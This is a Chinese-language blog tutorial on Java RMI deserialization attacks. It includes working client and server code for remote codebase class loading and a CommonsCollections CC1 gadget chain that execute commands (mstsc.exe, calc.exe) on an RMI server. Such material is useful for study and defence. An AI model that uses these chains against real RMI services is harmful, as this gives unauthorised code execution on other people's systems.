RMI反序列化

2021-08-07

RMI概念

RMI（Remote Method Invocation）远程方法调用，是允许允许在一个Java虚拟机的对象调用允许在另一个虚拟机上的对象方法。

Java默认对RMI规范使用JRMP协议

JRMP：Java Remote Message Protocol ，Java 远程消息交换协议。这是运行在Java RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为Java编写，就像HTTP协议一样，规定了客户端和服务端通信要满足的规范。

RMI的传输100%基于反序列化，Java RMI的默认端口是1099端口

RMI主要分为三部分：

Server (提供远程的对象)   

Client (调用远程的对象)  

Registry (一个注册表，存放远程对象位置信息)

server

1.一个实现Remote的接口

2.一个继承自UnicastRemoteObject的接口实现类

远程对象的实现类必须继承自UnicastTemoteObject,只有这样该类才表示一个远程对象，如果不继承的话可手动调用exportObject方法: Services services=(Services)UnicastRemoteObject.exportObject(obj,0);

注意这个远程接口需要继承java.rmi.Remote接口，并且修饰符为public,其中定义的方法需要抛出RemoteException异常

Registry

Registry就像一个RMI电话簿，它存放着远程服务器的绑定信息，Client可以通过Name向Registry查询，然后根据查询的绑定关系再去连接Server,最后远程方法实际上是在Server调用的。

我们在Server的接口和类的基础上完成Registry的绑定

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class Server {
    //定义一个远程接口
    public interface RMIinterface extends Remote{
        String RMIDemo(Object o) throws Exception;
    }
    //远程接口的实现类
    public class RMIInstance extends UnicastRemoteObject implements RMIinterface {
        public RMIInstance() throws RemoteException{
            System.out.println("这是构造方法");
        }
        public String RMIDemo(Object o) throws Exception{
            System.out.println("Hello,Teabo");
            return "Hello,Teabo";
        }

    }
    //创建实例，绑定端口
    public void start() throws Exception{
        //创建远程对象
        RMIinterface NewRMI=new RMIInstance();
        //将远程对象注册到注册表中
        LocateRegistry.createRegistry(1099);
        Naming.bind("rmi://127.0.0.1/test",NewRMI);

    }
    public static void main(String[] args) throws Exception{
        //start
        new Server().start();
    }
}

Client

Client客户端主要是通过Registry注册的地址去获得相应的远程对象，然后便可调用其方法

当然也可以调用有参的远程对象方法

Server:

Client:

运行结果：

客户端还能利用list方法遍历出所有的对象引用，探测服务器是否存在一些危险函数利用

String[] rmilist = Naming.list("rmi://127.0.0.1:1099/test");
        for(String list:rmilist){
            System.out.println(list);
        }

（以上举例是在同项目地址下，相当于本地访问，远程访问配置详情见下）

codebase

codebase通俗来讲就是远程加载类的路径，如果发送序列化数据的时候带上codebase信息，当服务端在接受时没有在本地classpath找到类的时候，就会去codebase指向的远程地址去获取加载类。

可以利用-Djava.rmi.server.codebase=http://url:8080/来自定义设置codebase参数。

如果攻击者将codebase指定为恶意地址，比如将codebase指向地址上的类改为Server请求的同名文件时，那么就会请求加载我们构造的恶意类。

官方针对这一点做了一些安全措施。将java.rmi.server.useCodebaseOnly参数默认改为true,这是java虚拟机只信任加载预先配置好的codebase,不再支持从远程RMI获取。

参数配置

server端添加-Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.hostname=192.168.32.1 -Djava.security.policy=client.policy

useCoidebaseOnly关闭，防止server使用内部的codebase,指定Hostname,并且设定了配置文件client.policy这是控制权限的。

client.policy:

grant{
    permission java.security.AllPermission;

};

client端配置参数 -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://192.168.32.1:5599/ -Djava.security.policy=client.policy

可以看到指定了codebase的路径，如果Serve在本地URLClassLoader找不到需要的类，就会请求这个url,在里面寻找。

两端还需要同时设置SecurityManager,否则会出错

SecurityManager sm = System.getSecurityManager();
        if (sm == null) {
            System.out.println("SecurityManager is null");
            sm = new SecurityManager();
            System.setSecurityManager(sm);
        }

添加static静态代码块，让server端请求这个编译好恶意class文件。

Client:

import RMI.inter;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class client {
    //
    static class s implements Serializable {
        static {
            try {
                System.out.println(s.class.getClassLoader().getResource("").getPath());
                Runtime.getRuntime().exec("mstsc.exe");
            }
            catch (Exception e){
                e.printStackTrace();
            }
        }
    }

    public static void main(String[] args) throws RemoteException,Exception{

        SecurityManager sm = System.getSecurityManager();
        if (sm == null) {
            System.out.println("SecurityManager is null");
            sm = new SecurityManager();
            System.setSecurityManager(sm);
        }

        //
        Registry re = LocateRegistry.getRegistry(1099);
        inter rmi = (inter) re.lookup("NewRMI");
        //
        String demo = rmi.RMIDemo(new s());
        System.out.println(demo);

        for(Object obj : re.list()){
            System.out.println(obj);
        }
    }
}

Server:

import RMI.inter;

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class Server {
    //定义一个远程接口

    //远程接口的实现类
    public  class RMIInstance extends UnicastRemoteObject implements inter {
        public RMIInstance() throws RemoteException{
            System.out.println("这是构造方法");
        }
        public String RMIDemo(Object o) throws Exception{
            System.out.println("Hello,Teabo");
            return "Hello,Teabo";
        }

    }
    //创建实例，绑定端口
    public void start() throws Exception{
        //创建远程对象
        inter NewRMI = new RMIInstance();
        //将远程对象注册到注册表中
        Registry re=LocateRegistry.createRegistry(1099);
        re.bind("NewRMI",NewRMI);

    }
    public static void main(String[] args) throws Exception{
        SecurityManager sm = System.getSecurityManager();
        if (sm == null) {
            sm = new SecurityManager();
            System.setSecurityManager(sm);
        }
        //start
        new Server().start();
    }
}

需要注意的是，RMI寻找类名方法时，不仅要求接口服务实现类是一样的，并且包的名字也要是一样的，所以我们将接口单独存放在一个同名的package里

RMI.inter:

package RMI;

import java.rmi.Remote;

public interface inter extends Remote {
    String RMIDemo(Object o) throws Exception;
}

在client的target/classes目录下用5599端口起一个服务，然后分别运行server和client

此时当Server本地没有找到该类时，就会去codebase指定的地址获取恶意类。

成功执行了两遍静态代码块的命令（server一次，client一次）。

源码层次的分析就不具体展开了，感兴趣的师傅可以去结尾大师傅的参考文章看看。本质就是Server端接收数据后在RMIClassLoader调用loadClass,其继承自URLClassLoader,最终相当于Server远程URLClassLoader加载字节码。

反序列化攻击

既然RMI是基于序列化传输，在传输结束时会反序列化，那么是不是可以利用这一点对目标服务器进行反序列化攻击？（假如目标服务器某组件存在反序列化漏洞，例CommonsCollections）

这需要server端存在一个Object类型参数的方法。

Server代码依然是上面的demo，但是记得添加commons-collection依赖

<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
    </dependencies>

Client端利用构造static类型的CC1利用链

import RMI.inter;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class client {
    static Object commons() throws Exception {

        //此处构建了一个transformers的数组，在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[]{   
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})                 
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //给予map数据转化链
        Map transformedMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //前面部分相同，此处开始使用AnnotationInvocationHandler
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        //取消构造函数修饰符限制
        ctor.setAccessible(true);

        //获取AnnotationInvocationHandler类实例，并传入transformedMap
        Object instance = ctor.newInstance(Target.class, transformedMap);
        return instance;

    }

    public static void main(String[] args) throws RemoteException,Exception{

        SecurityManager sm = System.getSecurityManager();
        if (sm == null) {
            System.out.println("SecurityManager is null");
            sm = new SecurityManager();
            System.setSecurityManager(sm);
        }

        //

        Registry re = LocateRegistry.getRegistry(1099);
        inter rmi = (inter) re.lookup("NewRMI");
        //直接丢给server一个类
        String demo = rmi.RMIDemo(commons());
        System.out.println(demo);

        for(Object obj : re.list()){
            System.out.println(obj);
        }


    }
}

成功触发恶意反序列化。

参考链接

https://www.mrkaixin.top/posts/62e8439d/

https://mp.weixin.qq.com/s/wYujicYxSO4zqGylNRBtkA

https://www.cnblogs.com/nice0e3/p/13927460.html